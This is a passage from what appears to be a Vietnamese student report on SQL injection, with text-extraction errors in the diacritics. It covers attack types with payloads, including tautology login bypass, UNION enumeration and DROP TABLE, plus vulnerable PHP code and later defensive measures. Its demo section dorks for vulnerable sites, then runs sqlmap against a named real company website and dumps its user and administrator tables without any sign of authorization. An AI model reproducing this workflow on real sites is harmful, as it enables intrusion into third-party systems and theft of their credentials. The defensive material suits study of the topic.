Tải bản đầy đủ - 0 (trang)
1 CÁC DẠNG TẤN CÔNG SQL INJECTION

1 CÁC DẠNG TẤN CÔNG SQL INJECTION

Tải bản đầy đủ - 0trang

máy chủ sẽ trả về những thông báo lỗi mặc định và những kẻ tấn cơng có thể lợi dụng các

điểm yếu này. Từ việc khai thác các thông báo lỗi mặc định những kẻ tấn cơng có thể khai

thác được số bảng, số cột,.. của cơ sở dữ liệu.

Có nhiều cách để gửi một lệnh truy vấn không hợp lệ hay bất hợp pháp như: thêm kí tự

(‘) vào cuối câu lệnh truy vấn, sử dụng toán tử AND để thực hiện một câu lệnh sai logic, sử

dụng order by hay mệnh đề having... để máy chủ trả về một thông báo lỗi.

3.1.3 Tautology (Tấn công mệnh đề luôn đúng)

Các cuộc tấn công này hoạt động bằng cách thêm vào mệnh đề WHERE của câu lệnh

truy vấn một tuyên bố luôn đúng. Với dạng tấn công này tin tặc có thể dễ dàng vượt qua các

trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng

dụng web.

Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ

thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng

nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng

nhập và mật khẩu có hợp lệ hay khơng để quyết định cho phép hay từ chối thực hiện tiếp.

Xét 1 đoạn code php sau:

$uname=$_POST['uname'];

$passwrd=$_POST['passwrd'];

$query="select



username,pass



from



users



where



username='$uname'



and



password='$passwrd'";

$result=mysql_query($query);

Thử tài khoản đăng nhập và mật khẩu bằng: 'or ''=', thì cầu truy vấn sẽ thành 1 câu như sau:

select username,pass from users where username='' or ''='' and password='' or ''=''

Do mệnh đề luôn đúng nên dễ dàng đăng nhập tài khoản.



11



3.1.4 Union Query

Cuộc tấn công dạng này được thực hiện bằng cách thêm vào một tham số hình thức có dạng:

‘UNION SELECT

Lúc này, ngồi câu truy vấn đầu khơng thành cơng, chương trình sẽ thực hiện thêm lệnh

tiếp theo sau từ khóa UNION.

Những kẻ tấn cơng có thể xóa tồn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn lệnh

nguy hiểm như DROP TABLE. Ví dụ như :’DROP TABLE_AUTHORS-’

Để biết được ứng dụng web bị lỗi dạng này hãy nhập vào chuỗi (*) như sau:

‘UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE’’=’ (*)

Nếu hệ thống báo lỗi về cú pháp dạng : Invalid object name” OtherTable”; ta có thể biết

chắc là hệ thống đã thực hiện câu SELECT sau từ khóa UNION, vì như vậy mới có thể trả về

lỗi mà ta đã cố tình tạo ra trong câu lệnh SELECT.



Trong SQL Server, có hai đối tượng là sysobjects và syscolumns cho phép liệt kê tất các

tên bảng và cột có trong hệ thống. Để có thể biết được tên của các bảng dữ liệu mà thực hiện

các thao tác phá hoại khi ứng dụng web bị lỗi SQL injection. Ta chỉ cần chỉnh lại câu lệnh

SELECT:

‘UNION SELECT name FROM sysobjects WHERE xtype=’U’ là có thể liệt kê được tất cả

các bảng dữ liệu.

3.1.5 Blind SQL Injection

Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu

quả của chúng lại không hiển thị trực quan cho những kẻ tấn cơng. Nó có thể gây ra sự sai

khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn cơng SQL

injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều thời gian để

phục hồi chính xác từng bit dữ liệu. Những kẻ tấn cơng còn có thể sử dụng một số cơng cụ để

dò tìm lỗi dạng này và tấn cơng với những thông tin đã được thiết lập sẵn.

12



Thay đổi giá trị điều kiện truy vấn

Dạng lỗi này khiến cho kẻ tấn cơng có thể thay đổi giá trị điều kiện trong câu truy vấn,

làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này.

SELECT booktitle from booklist where bookId = 'OOk14cd' AND 1=1;

Sẽ hiển thị một trang một cách bình thường, trong khi:

SELECT booktitle from booklist where bookId = 'OOk14cd' AND 1=2;

sẽ hiển thị một nội dung khác, hoặc khơng hiển thị gì nếu ứng dụng web có chứa lỗi SQL

injection dạng này. Lỗ hổng dạng này còn cho phép tin tặc không chỉ gây ảnh hưởng tới bảng

hay dữ liệu hiện tại mà còn ảnh hưởng tới những dữ liệu hay bảng khác phụ thuộc vào nội

dung của dữ liệu hay bảng hiện tại.

Điều kiện lỗi

Lỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép đánh giá khi mà

giá trị của câu lệnh WHERE là đúng. Ví dụ:

SELECT 1/0 from users where username='Ralph';

Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph" tồn tại trong cơ

sở dữ liệu.

Thời gian trễ

Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy vấn SQL

phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy vấn của SQL engine cần

nhiều thời gian. Tin tặc có thể sử dụng lỗi SQL injection dạng này để xác định thời gian

chính xác mà trang cần tải khi giá trị nhập vào là đúng.

3.2 DEMO TẤN CƠNG SQL INJECTION

3.2.1 Các cơng cụ cần thiết

Giới thiệu cấu trúc cơ sở dữ liệu:



13



Hình 3.1 Cấu trúc một cơ sở dữ liệu đơn giản

-Cơ sở dữ liệu ó cấu trúc hình cây với các thành phần:





Database



: Ví dụ "iot15h", "mysql" chứa các bảng dữ liệu(tables).







Table



: Ví dụ "dht11" , "func", "columns_priv" chứa hàng và cột dữ liệu.







Columns



: Ví dụ "TEMP"," HUM" các cột dữ liệu.



- CSDL có nhiệm vụ lưu trữ và trích xuất dữ liệu phục vụ cho việc truy vấn lên server.

- Tải Github https://github.com/sqlmapproject/sqlmap phục vụ cho việc tấn công.



14



3.2.2 Các bước tấn công và kết quả

B1. Sau khi tải github về vài giải nén ta có thư mục:



Hình 3.2 Giải nén github sqlmap-master

B2. Tìm kiếm một số trang web có nguy cơ bị lỗi với từ khóa : php?id=1 vn



Hình 3.3 Tìm kiếm mục tiêu tấn cơng

B3. Lựa chọn một mục tiêu:

VD: " http://www.nhuaphucthinh.com.vn/product.php?id=20 "

Mục tiêu:



15



Hình 3.4 Trang web là mục tiêu tấn công

B4. Mở cmd lên trong thư mục sqlmap-master/ và thực hiện các lệnh:

python sqlmap.py –u " http://www.nhuaphucthinh.com.vn/product.php?id=20 "

"-u" theo sau là đường dẫn Lệnh này để kiểm tra url trên có dính lỗi sqli khơng

B5. Sau khi phát hiện trang web dính lỗi ta thực hiện truy vấn tên database với câu lệnh:

python sqlmap.py –u " http://www.nhuaphucthinh.com.vn/product.php?id=20 " --dbs

Kết quả trả về:



16



Hình 3.5 Kết quả trả về tên các cơ sở dữ liệu

Ta nhận được về hai database: " information_schema " và " nhuaphucth_inh "

B6. Sau khi có được tên của các database ta chọn ra một database để thực hiện truy vấn:

trong ví dụ này ta chọn database:" nhuaphucth_inh " thực hiện truy vấn các bảng trong

database bằng câu lệnh:

python sqlmap.py -u " http://www.nhuaphucthinh.com.vn/product.php?id=20 " --tables -D

nhuaphucth_inh

Kết quả trả về:



Hình 3.6 Tên các bảng có trong cơ sở dữ liệu

Trên đây là tên các table chứa dữ liệu trong database:" user ", " doi tac ", " product ", ...

B7. Để xem thông tin trong các bảng ta thực hiện lệnh:

python sqlmap.py -u " http://www.nhuaphucthinh.com.vn/product.php?id=20 " --dump –D

nhuaphucth_inh -T "tên bảng"

17



Kết quả trả về với tên bảng = "user":



Hình 3.7 Kết quả truy vấn bảng "user"



Hình 3.8 Kết quả truy vấn bảng "administrator "

18



3.3 CÁC BIỆN PHÁP NGĂN CHẶN SQL INJECTION

Trong hầu hết trình duyệt, những kí tự nên được mã hóa trên địa chỉ URL trước khi sử dụng.

Việc tấn công theo SQL Injection dựa vào những câu thơng báo lỗi do đó việc phòng

chống hay nhất là không cho hiển thị những thông điệp lỗi cho người dùng bằng cách thay

thế những lỗi thông báo bằng một trang do người phát triển thiết kế mỗi khi lỗi xảy ra trên

ứng dụng.

Kiểm tra kĩ dữ liệu nhập vào thay thế những kí tự như :

 Đối với các giá trị numeric, hãy chuyển nó sang Interger trước khi thực hiện câu

truy vấn SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một Interger.

 Dùng thuật tốn mã hóa dữ liệu.

 Lọc bỏ các ký tự và từ khóa nguy hiểm như: -- , select , where , drop, shutdown …

 Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập trình

viên phát triển ứng dụng web khi xữ lí các dữ liệu nhập vào để xây dựng câu lệnh

SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ

thống. Nếu ứng dụng sử dụng quyền dbo(quyền của người sở hữu cơ sỡ dữ liệu owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng

dữ liệu mới,…Nếu ứng dụng sử dụng quyền sa(quyền quản trị hệ thống), nó có thể

điều khiển tồn bộ hệ quản trị cơ sỡ dữ liệu và với quyền hạn rộng lớn như vậy nó

có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của

bạn. Để phòng tránh, ta có thể thực hiện ở hai mức.

3.3.1 Đối với website (dành cho lập trình viên):

Cần kiểm tra tính đúng đắn của tất cả dữ liệu đầu vào. Dữ liệu đầu vào không chỉ là các

tham số, mà bao gồm cả cookie, user agent, referer …

Việc kiểm tra tính đúng đắn của dữ liệu có thể dựa trên các phương pháp sau:

- Kiểm tra dựa vào kiểu dữ liệu (số, ngày tháng …)

- Kiểm tra, giới hạn độ dài đầu vào

- -Loại bỏ các ký tự đặc biệt như: ‘ % ” ? # @ & …



19



- -Loại bỏ các từ đặc biệt: select, drop, delete, information_schemal, insert, union, xp_



3.3.2 Đối với web server (dành cho quản trị mạng):

Hầu hết các máy chủ web (web server) hiện nay đều có các module hỗ trợ việc phòng

chống SQL Injection, ví dụ:

Apache có modsecurity, IIS có URLScan. Bạn chỉ cần bật tính năng này và cấu hình

cho phù hợp. Nếu website của bạn là dạng trang tin tức thì rất phù hợp để triển khai. Trong

một số trường hợp khác, các module này có thể chặn nhầm, dẫn tới website hoạt động khơng

chính xác.

3.3.3 Đối với database server (dành cho quản trị mạng):

Bạn cần thực hiện việc cấu hình phân quyền chặt chẽ đối với các tài khoản. Khi đó, dù

tồn tại lỗi SQL Injection, thiệt hại cũng sẽ được hạn chế. Ngoài ra, bạn cần loại bỏ các bảng,

thành phần và tài khoản không cần thiết trong hệ thống.

3.3.4 Hạn chế bị phát hiện lỗi.

Attacker dựa vào những lỗi trong lập trình ứng dụng để tấn cơng và cụ thể attacker dựa

vào các dấu hiệu để phát hiện ứng dụng bị lỗi. Vậy việc làm cho các dấu hiệu đó bị che đi,

trở nên khó hiểu hơn, hoặc biến mất…được hầu hết các chuyên gia bảo mật sử dụng. Lưu ý

là kĩ thuật này chỉ dùng để dấu lỗi, còn lỗi trên ứng dụng vẫn còn đó, chỉ là để chống lại sự

phát hiện quá dễ dàng lỗi để kẻ xấu khai thác.

Nhưng những attacker khôn khéo vẫn có thể nhìn thấu được kiểu phòng chống như thế

này. Nó có thể tránh được những tấn cơng đơn giản như là thêm dấu ‘(dấu nháy) vào cuối

đường dẫn. Vì phương pháp tìm kiếm ứng dụng bị lỗi của những tấn công như thế dựa vào

những dấu hiệu trả về của ứng dụng hoặc trực tiếp từ database. Ta có thể chỉ đưa ra những

thông báo chung chung hoặc định hướng trở lại trang ban đầu(redirect). Trong trường hợp

này, công việc tìm kiếm lỗi và xác định mục tiêu trở nên cực khó đối với attacker.



20



Tài liệu bạn tìm kiếm đã sẵn sàng tải về

1 CÁC DẠNG TẤN CÔNG SQL INJECTION

Tải bản đầy đủ ngay(0 tr)

×